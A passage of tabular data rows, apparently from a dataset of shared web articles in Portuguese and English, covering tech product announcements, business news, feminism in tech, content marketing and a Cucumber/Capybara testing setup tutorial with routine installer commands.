consider many options, including acquisitions, simple partnerships, and more-formal joint ventures. About the author(s) Miklos Dietz is a senior partner in McKinsey's Vancouver office; Jared Moon is a partner in the London office, where Miklos Radnai is a consultant.",en
1469476129,CONTENT SHARED,-5386512752101672374,-5527145562136413747,-7075418167979716771,,,,HTML,http://estilo.uol.com.br/comportamento/listas/18-frases-que-as-mulheres-precisam-parar-de-falar-umas-para-as-outras.htm,18 frases que as mulheres precisam parar de falar umas para as outras - UOL Estilo de vida,"Preconceituosas, machistas, desrespeitosas ou intrusivas, não importa. Certas expressões reproduzem crenças antigas ou pré-julgamentos e não deveriam mais fazer parte do relacionamento entre mães, filhas, amigas ou colegas de trabalho. Veja alguns exemplos e descubra por que é importante eliminá-las do repertório. Fontes: Luíse Bello, manager de conteúdo e comunidade do site feminista ""Think Olga""; Juliana Bonetti Simão, psicóloga especializada em sexualidade de São Paulo; Rejane Sbrissa, psicóloga também da capital paulista; Beatriz Cardella, psicóloga e autora do livro ""Laços e Nós - Amor e Intimidade nas Relações Humanas"" (editora Ágora) e especialista em psicologia clínica pela USP (Universidade de São Paulo); Lígia Baruch Figueiredo, mestre e doutoranda em psicologia e pesquisadora no Núcleo de Família e Comunidade da PUC (Pontifícia Universidade Católica) de São Paulo, e Babi Souza, fundadora do projeto Vamos Juntas?, que incentiva as mulheres a acompanhar outras em situação de vulnerabilidade na rua, para evitar assédio.",pt
1469482404,CONTENT SHARED,-6126634320182965455,-5527145562136413747,-7075418167979716771,,,,HTML,http://www.coisasqueagentecria.com/020-carine-roos-33-dias-sem-machismo-marialab-upwit-e-os-desafios-das-mulheres-na-tecnologia/,"020 - Carine Roos: 33 dias sem machismo, MariaLab, Upwit e os desafios das mulheres na tecnologia","A Carine Roos é uma das fundadoras do MariaLab e uma das criadoras da campanha 33 dias sem machismo , que começou no Facebook e acabou tendo uma ampla repercussão em diversos espaços e debates. Ela também lançou a Upwit , uma iniciativa com o objetivo de realizar eventos no Brasil e no mundo para promover a liderança das mulheres no mercado de tecnologia. Eu conheci a Carine no Fisl, o Fórum Internacional de Software Livre, que foi realizado em Porto Alegre em julho. Gravamos a entrevista em um dos bares da PUC-RS e, por isso, tem um barulhinho no fundo. Nós conversamos sobre todos os projetos (atuais) da Carine, e também sobre sua trajetória, sonhos, vida profissional, rotina e inspirações. Encontre a Carine e seus projetos: Twitter da Carine: Facebook da Carine: Androidella: MariaLab: 33 dias sem machismo: Upwit: Links e referências do episódio: PrograMaria Garoa Hacker Instituto Amani Blogueiras feministas Ana Fontes Sheryl Sandberg Livro Lean In (Sheryl Sandberg) Paula Bellizia , presidente da Microsoft no Brasil Vanessa Tonini Chimamanda Ngozi Adichie : livro Americanah , livro Sejamos todos feministas , vídeo do TED Direto ao ponto: [3:30] O que é o MariaLab [6:18] Quem participa dos eventos do MariaLab? [7:46] Como o MariaLab sem ter um espaço físico? [9:21] Por que os espaços existentes não são seguros? [11:46] Por que há poucas mulheres nos ambientes de tecnologia? [14:24] Como replicar a ideia do MariaLab [16:39] Os grandes sonhos para o MariaLab [19:08] Como foi construída a campanha 33 dias sem machismo [28:33] O futuro da campanha [29:56] O que é a Upwit [34:37] Qual a principal atividade profissional da Carine [35:44] A trajetória da Carine [39:25] Como é a rotina da Carine [40:36] Como era a vida da Carine há 10 anos e que conselho ela se daria [42:28] Os grandes sonhos da Carine [44:48] As pessoas que inspiram a Carine [47:16] Livros e filmes de referência [48:53] Como encontrar a Carine e seus projetos nas redes sociais",pt
1469487944,CONTENT SHARED,8224860111193157980,6013226412048763966,5651952480198335454,,,,HTML,http://www.jornaldoempreendedor.com.br/destaques/inspiracao/psicologa-de-harvard-diz-que-as-pessoas-julgam-voce-em-segundos-por-esses-criterios/,Psicóloga de Harvard diz que as pessoas julgam você em segundos por esses critérios | Jornal do Empreendedor,"As pessoas avaliam você em segundos, mas o que exatamente eles estão avaliando? A professora de Harvard Business School, Amy Cuddy vem estudando as primeiras impressões ao lado dos colegas psicólogos Susan Fiske e Peter Glick por mais de 15 anos, e descobriu padrões nessas interações. Em seu novo livro, ""Presença"", Cuddy diz que as pessoas respondem rapidamente duas perguntas quando eles te encontram pela primeira vez: Posso confiar nesta pessoa? Eu posso respeitar esta pessoa? Os psicólogos referem-se a estas dimensões como cordialidade e competência, respectivamente, e, idealmente, você quer ser percebido tendo ambos. Curiosamente, Cuddy diz que a maioria das pessoas, especialmente em um contexto profissional, acreditam que a competência é o fator mais importante . Afinal, eles querem provar que eles são inteligentes e talentosos o suficiente para lidar com o seu negócio. Mas, na verdade a cordialidade, ou confiabilidade, é o fator mais importante na forma como as pessoas avaliam você. ""De uma perspectiva evolucionária"", diz Cuddy, ""é mais crucial para a nossa sobrevivência saber se uma pessoa merece a nossa confiança."" Faz sentido quando você considera que para os homens das cavernas era mais importante descobrir se seu companheiro estava lá para matá-lo e roubar todos os seus bens ou se ele era competente o suficiente para construir um bom fogo com você. O novo livro de Cuddy explora formas para nos sentirmos mais confiantes. O livro já é best-seller na Amazon dos EUA e está aqui . Enquanto a competência é altamente valorizada, Cuddy diz que ela é avaliada apenas depois que a confiança é estabelecida. E, que se concentrar demais em exibir a sua força pode sair pela culatra. A competência é altamente valorizada mas é avaliada apenas depois que a confiança é... Click To Tweet Cuddy diz que estudantes de MBA estão muitas vezes tão preocupados em parecer inteligentes e competentes que isso pode levá-los a ignorar eventos sociais, não pedir ajuda, e geralmente parecer inacessível. ""Uma pessoa calorosa, confiável que também é forte provoca admiração, mas só depois que você estabelece a confiança é que sua força se torna um dom e não uma ameaça."" Estes overachievers podem se frustrar ao não receberem a oferta de emprego porque ninguém os conheceu melhor para confiar neles como pessoas. ""Se alguém que você está tentando influenciar não confiar em você, você não vai chegar muito longe. Na verdade, você pode até provocar suspeitas porque você parecer apenas um grande manipulador"", diz Cuddy. Amy fez um TED Talk muito interessante e está legendado abaixo: Artigo da Business Insider .",pt
1469489285,CONTENT SHARED,-7078081008943106850,3609194402293569455,-323582195561029870,,,,HTML,http://www.b9.com.br/66105/opiniao/o-seu-conteudo-esta-preparado-para-as-duas-internets/,O seu conteúdo está preparado para as duas internets?,"Como muita gente já falou: ""Conteúdo é Rei mas Contexto é a Rainha"" (em inglês funciona melhor mas vamos nessa). O Dicionário Michaelis define contexto como: con·tex·to sm 1. Conjunto de circunstâncias inter-relacionadas de cuja tessitura se depreende determinado fato ou situação; circunstância(s), conjuntura, situação. 2. Conjunto de circunstâncias que envolvem um fato e são imprescindíveis para o entendimento deste. 3. Encadeamento de ideias ou conjunto de circunstâncias que precedem ou se seguem a determinados elementos e pressupostos de um texto, aprofundando-se o significado quando de sua leitura ou análise. Nas plataformas digitais, contexto é: um tópico e seu timing, plataforma (Linkedin, Facebook, Website, Twitter, etc.), horário da publicação e o público-alvo. Mas há uma nova batalha pelo trono quando falamos de publicação nessas plataformas digitais: Hoje existem duas internets para conteúdo que funcionam de maneiras diferentes - Uma é buscável e a outra é social. Um reino é dominado pelo Google e o outro pelo Facebook . Infelizmente, as duas não dividem um reino unificado. Se você já tentou buscar por um post que apareceu no newsfeed do Facebook - e nunca encontrou - você achou o grande gap do Facebook: é uma rede social que não é boa em busca. Hoje existem duas internets para conteúdo que funcionam de maneiras diferentes - Uma é buscável e a outra é social. A internet do Google (ou internet aberta) é baseada em busca e seus usuários buscam conteúdo em algum contexto definido por eles e truques de SEO são algumas das maneiras que os criadores de conteúdo tentam ser encontráveis ou pelo menos bem ranqueados nas páginas de resultado dos mecanismos de busca. A internet do Facebook é fechada, baseada em anúncios e seus usuários são alimentados por conteúdo promovido pelos criadores de conteúdo, compartilhamento de amigos a alguma arte sombria de targeted ads. Então, se pensarmos em contexto, nós temos duas abordagens bem diferentes de como a internet exibe conteúdo para seus usuários: BUSCA : usuários buscam por temas que são importantes para eles em um determinado momento, situação ou contexto. A única maneira de ser ultra relevante é através de conteúdo criado e salvo em um site buscável (ou numa plataforma) para que assim o conteúdo esteja preparado para o contexto. SOCIAL : O conteúdo criado é enviado aos usuários baseado no contexto ""criado"" por targetet audiences, tom, mensagem e canal. Assim, o contexto dos usuários pode estar preparado para o conteúdo que vai ser servido a eles. Em outras palavras, a internet aberta e seu conteúdo infinito esperam pelo contexto do usuário via mecanismo de busca. Enquanto na internet social e fechada, os usuários esperam que o contexto combine com o fluxo constante de conteúdo no seu newsfeed. Geralmente, nós lidamos com contexto de duas maneiras: PASSIVA - Quando o conteúdo nos leva a um contexto adormecido. Por exemplo, quando você vê um anúncio de carro e coincidentemente, você está pensando em comprar um novo carro. é basicamente como a publicidade sempre funcionou. ATIVA - Quando você ativamente procura por opções de carros num mecanismo de busca ou por anúncios de carros em um jornal e por aí vai. O seu contexto está fazendo com que você procure pelo conteúdo. E a relevância aparecerá quando tanto o conteúdo como o contexto deslizarem para a direita e o ""It's a match"" piscar no seu coração e cérebro confirmando que era isso que você estava procurando. Em um mundo em que o uso de ad-blockers está crescendo diariamente, escrever conteúdo preparado para o contexto é vital. Hoje, a única maneira de fazer isso é escrevendo conteúdo preparado para o contexto e adaptando-o para cada lugar em que você possa publicar. Então, se considerarmos cada clique/interação do usuário como um voto, uma preferência, o conteúdo será melhor se buscarmos um mecanismo de busca confiável e que funcione numa rede social. Mas já que a busca na internet social fechada não funciona tão bem (talvez por questões de privacidade), a única maneira que temos de alcançar as audiências que queremos e ser minimamente relevante é através de estratégias de targeting e segmentação. Associando isso a análise de cookies com os hábitos de navegação, anunciantes podem emular um contexto e sua relevância. Mas o que é conteúdo preparado para o contexto? É o conteúdo que: - É buscável - É apropriado para a plataforma - Tem o tom certo de acordo com a plataforma - É escrito de uma maneira que ajuda o usuário e não a marca - É exibido como conteúdo e não como propaganda - Pode ser ser distribuído através de post promovido - Não tem o típico call to action - Pode ser visto como um serviço Assim você pode buscar pelo contexto do usuário nas redes sociais e esperar pelo contexto deles te encontrar no seu hub através dos mecanismos de busca. Mas para isso funcionar, você deve ter um hub que seja encontrável na internet aberta hospedando todo o seu conteúdo e uma boa estratégia de distribuição em redes sociais. Assim você pode buscar pelo contexto do usuário nas redes sociais e esperar pelo contexto deles te encontrar no seu hub através dos mecanismos de busca. Até agora nós não temos uma experiência perfeita onde o contexto do usuário é sempre o centro da experiência mas há algumas coisas que você pode ajustar. Otimize o seu conteúdo preparado para contexto com essas mudanças: SEO bem feito Quando estiver preparado o conteúdo que será hospedado no seu Hub de conteúdo, faça-o de um jeito que esteja pronto para o contexto dos usuários que estiverem buscando em mecanismos de buscas. Estude os hábitos, comportamentos e interesse e deixe o seu conteúdo preparado para SEO também. Faça o ajuste fino dos perfis do seu público-alvo Quando você está tentando usar esse conteúdo na internet social fechada, você deve mudar o tom do seu conteúdo e construir o contexto que está pronto para o conteúdo que você vai promover. Você pode fazer isso criando sua segmentação baseada em padrões, comportamentos online e bigdata. Considere hospedar o conteúdo e não soluções ao vivo O Conteúdo preparado para contexto funciona melhor em soluções hospedados do que nas ao vivo como chats do Snapchat (não as histórias), Periscope , YouTube ou Facebook Live . Se o conteúdo é hospedado no seu hub e o SEO também é bom, as pessoas naquele contexto vão encontrar o seu conteúdo. Lembre que as soluções ao vivo são orientadas ao contexto O contexto nesses casos seria o motivo de o criador de conteúdo estar transmitindo suas mensagens ao vivo. Usuários não teriam que se perguntar com o contexto porque elas provavelmente estariam totalmente imersas nele. Mesmo que você possa repetir uma expediência numa reprise. Imagine uma maneira de reviver a experiência ao vivo do final de temporada do ""Game of Thrones"" e pudesse ver os tweets no mesmo tempo que eles aconteceram na primeira vez que o programa passou. É isso. O contexto do ao vivo está presente mesmo quando o conteúdo não é mais ao vivo e você está vivendo uma simulação da experiência ao vivo mas mesmo assim com conteúdo totalmente preparado para o contexto. Até que alguém decida que está na hora de honrar a Rainha de uma maneira melhor, nós estamos fadados a produzir conteúdo nessa batalha sem fim entre as duas internets. --- Em tempo, me pediram para traduzir esse texto que escrevi em inglês no Medium e resolvi publicar aqui no B9.",pt
1469489888,CONTENT SHARED,897043351348716074,3609194402293569455,-323582195561029870,,,,HTML,http://startupi.com.br/2016/07/mark-zuckerberg-compartilha-como-sera-o-facebook-em-2026/,Mark Zuckerberg compartilha como será o Facebook em 2026 - Startupi,"Não é todo dia que ouvimos Mark Zuckerberg falando sobre o Facebook, internet e como ele vê o futuro de tudo isso. Não é todo dia que o CEO e cofundador da maior rede social do planeta fala abertamente com a imprensa ou dá entrevistas exclusivas. Hoje, no entanto, parece um dia especial. Ao site The Verge, Mark Zuckerberg deu uma extensa entrevista. Falou como imagina o futuro de sua empresa, da internet, das comunicações, e também falou sobre robôs, inteligência artificial e realidade virtual. Pouca coisa ficou de fora. Após dez anos de existência, ele explica, o Facebook finalmente entendeu qual é seu motivo de existir: conectar as pessoas que não têm conexão com a internet. Para isso, a empresa precisa superar três obstáculos diferentes, que são acessibilidade, disponibilidade e conscientização. A principal entre elas é a disponibilidade das redes. ""Mesmo que tivessem um telefone, essas pessoas não teriam um sinal [de internet], já que não há nenhuma fibra ou nenhuma rede de banda larga móvel onde eles vivem"", explica Zuckerberg. E esse não é um problema isolado. Ele afirma que 1,6 bilhão de pessoas convivem com esse desafio à conexão. Foi a partir dessa questão que a empresa viu que precisa desenvolver tecnologias alternativas. As ideias são variadas. Nesta semana, por exemplo, aconteceu o voo inaugural de Aquila , um avião movido a energia solar que envia sinal de internet enquanto sobrevoa uma região. Zuckerberg era um dos presentes neste primeiro voo. ""Sabe, se você me dissesse, quando eu ainda estava começando o Facebook, que um dia eu iria construir aviões, eu diria que você era louco"", disse. ""Porém, os aviões são muito importantes para cumprirmos a missão de conectar todo o mundo."" Para vencer a questão da acessibilidade, Zuckerberg sugere duas aproximações: tornar os dados mais baratos ou então utilizar menos dados. O Facebook tem planos nessa área, como você já deve imaginar. Fornecer desenhos e tecnologias sem cobrar direitos de uso é uma dessas estratégias. ""Se podemos salvar os bilhões da indústria de telecomunicações, isso será revertido na forma de preços mais baixos de dados para os consumidores"", diz ele, de forma otimista. A última questão é conscientizar pessoas que podem ter internet, mas que nunca tiveram a experiência e acham que se conectar é algo dispensável. O Facebook trabalha com o Free Basics para esses indivíduos. O programa permite o acesso de graça a serviços essenciais. A conclusão é que depois de ver um novo mundo, as pessoas aceitam pagar pelo acesso. Realidade virtual e aumentada Assim como já havia dito em uma apresentação na convenção F5, ele descreveu na entrevista o avanço do conteúdo na rede. No início, tudo era texto. Depois, a internet foi ganhando vida com fotos e, posteriormente, vídeos. ""Mas esse não é o fim da linha"", diz ele se referindo à realidade virtual como próximo passo. Ele acredita que serviços como Facebook, Messenger e WhatsApp terão interface especial para uso em dispositivos de realidade virtual. ""Você terá óculos ou até lentes de contato. Você poderá olhar ao redor, ver coisas diferentes e interagir com todas elas usando as suas mãos"", sonha o CEO. Junto com a realidade virtual, também teremos interfaces com realidade aumentada - e o Facebook já faz pesquisas nessa área. ""Na minha mente, a realidade virtual é mais fácil de ser construída e levada a muitas pessoas, foi por isso que começamos com ela, do ponto de vista de produto. Mas também estamos pesquisando a realidade aumentada de forma muito séria."" Inteligência artificial Para Zuckerberg, a inteligência artificial se divide em dois campos: reconhecimento de padrões e uma categoria gigantesca de aprendizado não supervisionado. Ele acredita que o reconhecimento de padrões pode melhorar a vida de muitas pessoas. A tecnologia poderia descrever imagens para deficientes visuais, identificar doenças de forma mais ágil e até identificar quais drogas funcionariam melhor em certas doenças. ""É importante lembrar que isso não é nenhuma mágica, certo? É matemática, estatística e reconhecimento de padrões, combinados ao uso de uma grande quantidade de dados"", explica. Robôs ""Mensalmente, milhões de pessoas fazem perguntas a páginas do Facebook sobre informações do negócio"", explica Zuckerberg como a fonte da ideia da criação de robôs que conversam no Messenger. Com isso, não seria preciso ter uma pessoa, que leva horas ou dias, para uma simples resposta. Tudo ficaria automatizado. ""Eu não acho que conversação seja a melhor maneira de se interagir com tudo, mas acho que pode ser 10 ou 100 vezes melhor do que a forma como as pessoas interagem com estabelecimentos comerciais hoje"", explica. Por Marina Demartini e Victor Caputo, da Exame.com",pt
1469531544,CONTENT SHARED,-145625979744144572,-1443636648652872475,-3285452769862004347,,,,HTML,http://google-opensource.blogspot.com.br/2016/07/omnitone-spatial-audio-on-web.html?m=1,Omnitone: Spatial audio on the web,"Spatial audio is a key element for an immersive virtual reality (VR) experience. By bringing spatial audio to the web, the browser can be transformed into a complete VR media player with incredible reach and engagement. That's why the Chrome WebAudio team has created and is releasing the Omnitone project, an open source spatial audio renderer with the cross-browser support. Our challenge was to introduce the audio spatialization technique called ambisonics so the user can hear the full-sphere surround sound on the browser. In order to achieve this, we implemented the ambisonic decoding with binaural rendering using web technology. There are several paths for introducing a new feature into the web platform, but we chose to use only the Web Audio API . In doing so, we can reach a larger audience with this cross-browser technology, and we can also avoid the lengthy standardization process for introducing a new Web Audio component. This is possible because the Web Audio API provides all the necessary building blocks for this audio spatialization technique. The AmbiX format recording, which is the target of the Omnitone decoder, contains 4 channels of audio that are encoded using ambisonics, which can then be decoded into an arbitrary speaker setup. Instead of the actual speaker array, Omnitone uses 8 virtual speakers based on an the head-related transfer function (HRTF) convolution to render the final audio stream binaurally. This binaurally-rendered audio can convey a sense of space when it is heard through headphones. The beauty of this mechanism lies in the sound-field rotation applied to the incoming spatial audio stream. The orientation sensor of a VR headset or a smartphone can be linked to Omnitone's decoder to seamlessly rotate the entire sound field. The rest of the spatialization process will be handled automatically by Omnitone. A live demo can be found at the project landing page . Throughout the project, we worked closely with the Google VR team for their VR audio expertise. Not only was their knowledge on the spatial audio a tremendous help for the project, but the collaboration also ensured identical audio spatialization across all of Google's VR applications - both on the web and Android (e.g. Google VR SDK , YouTube Android app ). The Spatial Media Specification and HRTF sets are great examples of the Google VR team's efforts, and Omnitone is built on top of this specification and HRTF sets. With emerging web-based VR projects like WebVR , Omnitone's audio spatialization can play a critical role in a more immersive VR experience on the web. Web-based VR applications will also benefit from high-quality streaming spatial audio, as the Chrome Media team has recently added FOA compression to the open source audio codec Opus . More exciting things like VR view integration, higher-order ambisonics and mobile web support will also be coming soon to Omnitone. We look forward to seeing what people do with Omnitone now that it's open source. Feel free to reach out to us or leave a comment with your thoughts and feedback on the issue tracker on GitHub. By Hongchan Choi and Raymond Toy, Chrome Team Due to the incomplete implementation of multichannel audio decoding on various browsers, Omnitone does not support mobile web at the time of writing.",en
1469534467,CONTENT SHARED,623421554979899217,7774613525190730745,-2746681480439347704,,,,HTML,https://blog.bitbucket.org/2016/07/18/git-large-file-storage-now-in-bitbucket-cloud/,Git Large File Storage (Git LFS) now in Bitbucket Cloud - Bitbucket,"By Szilard Szasz-Toth on July 18, 2016 In recent years software teams across all industries have adopted Git thanks to its raw speed, distributed nature and powerful workflows. Additionally, modern software teams are increasingly cross-functional and consist not only of developers but designers, QA engineers, tech writers, and more. In order to be successful these teams need to collaborate not just on raw source code but on rich media and large data. It's no secret though that Git doesn't handle large files very well and quickly bloats your repositories. We are therefore excited to announce that, following Bitbucket Server's lead earlier this year, to improve the handling of your large assets. So even if your files are really, really large, Bitbucket Cloud allows your team to efficiently store, version and Why should you care about Git LFS? Git was optimized for source - it's easily merged and compressed and is relatively small, so it is perfectly feasible to store all history everywhere, but this makes it inefficient and slow when trying to track large binary files. For example, If your designer stores a 100 MB image in your Git repository and modifies it nine times, your repository could bloat to almost 1 GB in size, since binary deltas often compress poorly. Every developer, build agent, and deploy script cloning that repository would then have to download the full 1 GB history of changes, which may lead to drastically longer clone imagine what would have happened if your designer made 99 changes to that file. A common solution to this inherent flaw in Git is to track these large files outside of Git, in local storage systems or cloud storage providers, which leads to a whole new set of problems. Separating your large files from your repository will require your team to manually sync and communicate all changes to keep your code working. With the addition of Git LFS support, you can say goodbye to all these problems track all your files in one place in Bitbucket Cloud . Instead of bloating your Git repository, large files are kept in , and only lightweight references are stored making your repositories smaller and . The next time your team clones a repository with files stored in Git LFS, only the references and relevant large files that are part of your checked out revision will get downloaded, not the entire change history. For those interested in a longer explanation of how Git LFS works and how to migrate your existing repository, watch this presentation by Tim Pettersen, Atlassian Developer Advocate, on Tracking huge files with Git LFS . Generally, if you want to use Git to easily version your large files, Git LFS is the right choice. To call out just a few cases in which Git LFS will make your life easier, here's a short list: Sign up for Bitbucket",en
1469535860,CONTENT SHARED,7616472242818646827,2405211284771043881,-3506022086045904244,,,,HTML,https://www.docker.com/products/docker-swarm,Docker Swarm,"Docker Swarm provides native clustering capabilities to turn a group of Docker engines into a single, virtual Docker Engine. Get Swarm Product Overview The nature of distributed applications requires compute resources that are also distributed. Docker Swarm provides native clustering capabilities to turn a group of Docker engines into a single, virtual Docker Engine. With these pooled resources, you can scale out your application as if it were running on a single, huge computer. Product Features Below are the key features of Swarm, the Docker engine clustering tool that makes orchestration super easy. Product Demo In this video, Docker Swarm scales from 5 containers to 50,000 containers running on 1,000 nodes without any degradation in performance in executing Docker commands. Read the blog post here to understand the testing methodology and results in more detail. Scaling to 1K nodes and 10k Containers Watch video playlist to learn how to set up your Swarm cluster. Or read the accompanying tutorial blog post. Integrated Management and Support for Swarm Docker Universal Control Plane (UCP) leverages Docker Swarm for the native clustering and container scheduling. Docker UCP allows you to deploy and manage your Dockerized applications from the familiar Docker CLI and provides a web admin UI to gain visibility and mange your Docker application environment. Available today as a public beta, Docker UCP provides integrated support for Docker Swarm. Sign Up Here Resources Browse our resources and discover newly released reports, videos, and briefs.",en
1469538286,CONTENT SHARED,5162508842577612756,2833428826475063405,-8542621163271082039,,,,HTML,http://www.dummies.com/how-to/education-languages/languages-cultures/japanese.html,Japanese for dummies,"Life is full of ki-do-ai-raku (kee-doh-ah-ee-rah-koo; delight-anger-sorrow-fun), and some phrases slip out of our mouths repeatedly in response to different daily situations. Master these common Japanese Choosing the right hoteru (hoh-teh-roo; hotel) can make any trip you take more enjoyable. Each day of your adventure starts and ends at the hotel. In the morning, a good hotel offers you a refreshing breakfast When traveling in Japan, the words and phrases you'll use most frequently will be the common Japan greetings ( gashi ) . These Japanese greetings and good-byes will quickly become second nature because you An important form of Japanese courtesy is knowing how to refer to people. When meeting people in Japan, be sure to use the appropriate formal title. San As you travel in Japan and speak Japanese to everyone you meet, you need to ask questions. The standard who, what, when, where , and why are in the following list, along with a few other useful questions",en
1469540330,CONTENT SHARED,-5618100784509704440,-1578287561410088674,-637727048503416556,,,,HTML,http://webaim.org/standards/wcag/checklist,WebAIM: WebAIM's WCAG 2.0 Checklist - for HTML documents,"The following is NOT the Web Content Accessibility Guidelines (WCAG) 2.0. It is, however, a simple checklist that presents our recommendations for implementing HTML-related principles and techniques for those seeking WCAG 2.0 conformance. The language used here is quite different from the official WCAG 2.0 specification ( to make it easier to implement and verify for web pages.",en
1469548372,CONTENT SHARED,-5848514031542611523,1908339160857512799,3464895365884046539,,,,HTML,https://googleblog.blogspot.com.br/2016/07/promoting-gender-equality-through-emoji.html,Promoting gender equality through emoji �� ��,"More than 90 percent of the world's online population use emoji. But while there's a huge range of emoji, there aren't a lot that highlight the diversity of women's careers, or empower young girls. There are emoji like these for men: but with options like these for women: ... the emoji representing women aren't exactly, well, representative. So we've been working to make things better. In May, we proposed a set of new emoji to the Unicode Technical Committee that represent a wider range of professions for women (as well as men), and reflect the pivotal roles that women play in the world. Since then, we've worked closely with members of the Unicode Emoji Subcommittee to bring the proposal to life. Today, the Unicode Emoji Subcommittee has agreed to add 11 new professional emoji, in both male and female options and with all the skin tones. That's more than 100 new emoji to choose from! Unicode is also adding male and female versions to 33 existing emoji. For example, you'll be able to pick both a female runner emoji and a male runner emoji, or a man or woman getting a haircut: These additions can be included in future versions of Android and other platforms-because Unicode helps make sure that people with different phones can send and receive the same emoji. These new emoji are one of several efforts we're making to better represent women in technology, and to connect girls with the education and resources they need to pursue careers in STEM. One such effort is Made with Code, which helps girls pursue and express their passions using computer science. Ahead of World Emoji Day this weekend, Made with Code is releasing a new project that teaches coding skills through the creation of emoji-inspired stickers. We hope these updates help make emoji just a little more representative of the millions of people around the �� who use them.",en
1469550954,CONTENT SHARED,5589042240234624581,-8020832670974472349,-5816262471545174826,,,,HTML,https://medium.com/ben-and-dion/separating-concerns-through-service-worker-helpers-393ee5d67355,Separating Concerns through Service Worker Helpers - Ben and Dion,"Separating Concerns through Service Worker Helpers I am enjoying a new pattern emerge as we do more work with service workers, and that is wrapping a libraries usage, or some functionality, with a service worker that improves a particular concern: e.g. reliability. This reminds me of a past life in which I enjoyed aspect oriented programming techniques to keep the core business logic clean, but add other concerns separate from that codebase. Let's take a look at two examples of this technique that popped up in the last couple of days. Case One: Offline Google Analytics As soon as you start considering how your app will work offline, you think about many side effects. How will I track the offline usage is one. You may naturally take an analytics library and start flushing out the cases for checking for network access and doing the right thing. The problem though is now you may have a lot of logic that is dealing with offline usage tied into business logic, and you also may be looking at how to funnel all usage through this library. Instead, you can add this functionality through a service worker that is able to intercept access to particular URLs, which is exactly what sw-offline-google-analytics does: ""sw-offline-google-analytics sets up a new fetch event handler in your service worker, which responds to requests made to the Google Analytics domain . (The library ignores non-Google Analytics requests, giving your service worker's other fetch event handlers a chance to implement appropriate strategies for those resources.) It will first attempt to fulfill the request against the network. If the user is offline, that will proceed as normal. If the network request fails , the library will automatically store information about the request to IndexedDB, along with a timestamp indicating when the request was initially made. Each time your service worker starts up , the library will check for queued requests and attempt to resend them , along with some additional Google Analytics parameters""",en
1469555415,CONTENT SHARED,-2423593292146522678,-1479311724257856983,-4409763873356576449,,,,HTML,http://rare-technologies.com/services/,Services | RaRe Technologies,"Radim is one of those rare people who has both the hands-on technical know how and understanding of business needed to successfully deliver data mining solutions. He is excellent at managing expectations, defining problems and delivering on time. Josh Kerbel, Product Manager and Designer, R/ally Inc. We worked on a couple of short projects with RaRe Technologies; we got a lot of value out of every collaboration. Radim is great at sharpening up a problem definition, planning a realistic approach to solving it and then delivering an effective solution on a timeline. We were impressed by his experience and deep knowledge, and will happily work with RaRe again. Tim Budden, Director of Data Science, DataSift Here at Tailwind, we use RaRe's gensim software to help our customers post interesting and relevant content to Pinterest. No fuss, no muss. Just fast, scalable language processing. Waylon Flinn, Lead Scientist, Tailwind",en
1469556973,CONTENT SHARED,-1801367878403179328,-1352064057049251194,-6834347601262885155,,,,HTML,http://exame.abril.com.br/negocios/noticias/carrefour-comeca-a-operar-e-commerce-no-brasil,Carrefour começa a operar e-commerce no Brasil | EXAME.com,"São Paulo - O grupo Carrefour lançou seu serviço de e-commerce nesta terça-feira (26). O site Carrefour.com vai oferecer, a princípio, produtos não-alimentares, como utensílios domésticos, brinquedos e eletrônicos. Até o final deste ano, a empresa pretende ampliar a oferta para abranger ferramentas e peças automotivas, produtos culturais, roupas e acessórios para pets. Ainda não há previsão de quando será possível comprar alimentos. Por enquanto, o serviço só vai funcionar na região Sudeste, mas será expandido para o Sul, Centro-Oeste, Nordeste e Norte, nesta ordem. Os planos do Carrefour incluem permitir que os clientes que estão no supermercado possam acessar a plataforma online e integrar os canais de atendimento. ""O início da operação do e-commerce no Brasil reforça a nossa estratégia omnicanal"", afirmou Charles Desmartis, presidente do grupo Carrefour no Brasil. O site já tem um centro de distribuição exclusivo em Embu das Artes (SP), mas vai integrar, aos poucos, os centros de distribuição das lojas físicas, para aumentar a operação. A empresa promete detalhar o rastreamento de pedidos e trabalhar preventivamente para evitar atrasos nas entregas de mercadorias. O Carrefour também informou que o braço financeiro da companhia está trabalhando de forma integrada para o lançamento do serviço, oferecendo ofertas especiais no site para quem tem o cartão Carrefour.",pt
1469561171,CONTENT SHARED,4105873627900556540,-2525380383541287600,8115788345630016900,,,,HTML,http://agiletesters.com.br/topic/103/a-arte-de-desenvolver-testes-cucumber-capybara,Sua comunidade de Teste.,"Esse é o segundo artigo sobre desenvolvimento de testes e dessa vez resolvi falar um pouco de cucumber + capybara e vem sendo o framework para meus testes. Hoje existem diversos artigos que falam sobre cucumber e minha intenção é mostrar como funciona os steps de forma mais fácil. Bem, vamos primeiro partir para instalação e configuração do ambiente para começarmos a desenvolver os testes. Como eu venho utilizando MAC para desenvolvimento, vou focar a maior parte do tempo nele, porém fiquem a vontade para perguntar algo caso utilizem Linux ou Windows (o conceito será o mesmo). Antes de mais nada, baixar o Xcode pelo link: . Aprendi que sempre que instalar o SO, a primeira coisa será instalar o Xcode. Bem, depois do Xcode, vamos baixar o Homebrew via terminal com o comando: ruby -e ""$(curl -fsSL )"" . Para explicar o que é o homebrew basta dizer: ""O Homebrew instala as coisas que você precisa que a Apple não forneceu para você."" - fonte: . Ou seja, é um gerenciador de pacotes. Reinicie a máquina (isso mesmo, para ""completar as instalações""). Com o Homebrew instalado, será necessário instalar o ""Qt"" - Framework multiplataforma para desenvolvimento de interfaces gráficas - fonte: ( ) e serve basicamente para podermos utilizar o selenium como driver padrão de execução para os testes. Para instalar o Qt, é bem simples: ""brew install qt"". Por default o ruby já vem instalado, mas vou deixar registrado os comandos para instalar a versao 1.9.3-p545: curl -sSL | bash -s stable --ruby=1.9.3-p545 Ps: Caso o ""curl"" não estiver instalado, basta instalar com ""brew install curl"" Bem, agora vamos ao que de fato insteressa, as gems, então vamos a lista das básicas: Com isso tudo já da para trabalhar um pouquinho \o/. Bem, a estrutura básica para um projeto em cucumber é essa: Para explicar, dentro da pasta ""specifications"" se encontra aquela famosa estrutura que vemos em todos os artigos por ai: language: pt (colocar cerquilha antes) Funcionalidade: Aprendendo a trabalhar com capybara Cenario: Exemplo basico de cadastro Dado que eu acesse o facebook Quando eu preencher os campos de cadastro E clicar em Abrir uma conta Então primeiro cadastro completo Até ai beleza e depois??? Depois salve o arquivo como ""cadastro.feature"". Depois que escrevemos, vamos a parte das ""configurações"" no arquivo ""env.rb"", pois é lá que definimos as gems que eu vou utilizar e claro, definir o driver que eu vou utilizar como base para execução dos testes. O modelo básico vai ficar da seguinte forma: Depois de configurar (por hora são apenas essas), vamos deixar 